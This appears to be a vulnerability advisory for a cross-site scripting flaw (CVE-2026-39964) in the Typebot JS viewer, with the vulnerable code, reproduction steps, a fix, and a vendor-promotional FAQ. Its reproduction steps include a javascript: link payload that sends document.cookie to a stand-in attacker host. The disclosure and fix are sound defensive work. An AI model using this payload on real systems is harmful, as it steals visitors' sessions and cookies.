CVE-2026-39964

The Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens.

Details

Vulnerable file: packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx

// Line 32, href set directly from stored bot content, no javascript: filtering
<a href={elementDescendant.url as string} target="_blank" rel="noopener noreferrer">
  {elementDescendant.children[0].text}
</a>

SolidJS does not sanitize href attribute values, javascript: URIs pass through to the DOM unchanged.

The same issue exists in ImageBubble.tsx line 102 for image link wrapping.

Steps to Reproduce

1. Log in to Typebot as an authenticated user (any plan)
2. Create a new bot
3. Add a Text Bubble block
4. In the rich text editor, type any link text and set the URL to:
   javascript:fetch('https://attacker.com/?c='+document.cookie)
5. Publish the bot and open the live/embedded viewer
6. Click the link in the chatbot interface
7. The JavaScript executes in the browser, cookie exfiltration request sent to attacker.com

Source-verified: PlateBlock.tsx:32 renders <a href={url}> with no scheme filtering. Puppeteer alert confirmed document.domain execution when link clicked.

Proposed Fix

Filter javascript: URIs before rendering anchor tags:

const safeUrl = (url: string) =>
  /^javascript:/i.test(url.trim()) ? '#' : url

<a href={safeUrl(elementDescendant.url as string)} ...>

Alternatively, use a URL allowlist (only https:, http:, mailto:, tel:).

• Any authenticated Typebot user (including free tier) can create a bot with this payload
• When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin
• Allows stealing cookies, session tokens, or any data accessible to the embedding page
• Shared bots are publicly accessible, no victim authentication required

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-39964 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.10.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-39964? CVE-2026-39964 is a medium-severity cross-site scripting (XSS) vulnerability in @typebot.io/js (npm), affecting versions < 0.10.1. It is fixed in 0.10.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-39964? CVE-2026-39964 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @typebot.io/js are affected by CVE-2026-39964? @typebot.io/js (npm) versions < 0.10.1 is affected.
4. Is there a fix for CVE-2026-39964? Yes. CVE-2026-39964 is fixed in 0.10.1. Upgrade to this version or later.
5. Is CVE-2026-39964 exploitable, and should I be worried? Whether CVE-2026-39964 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-39964 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-39964? Upgrade @typebot.io/js to 0.10.1 or later.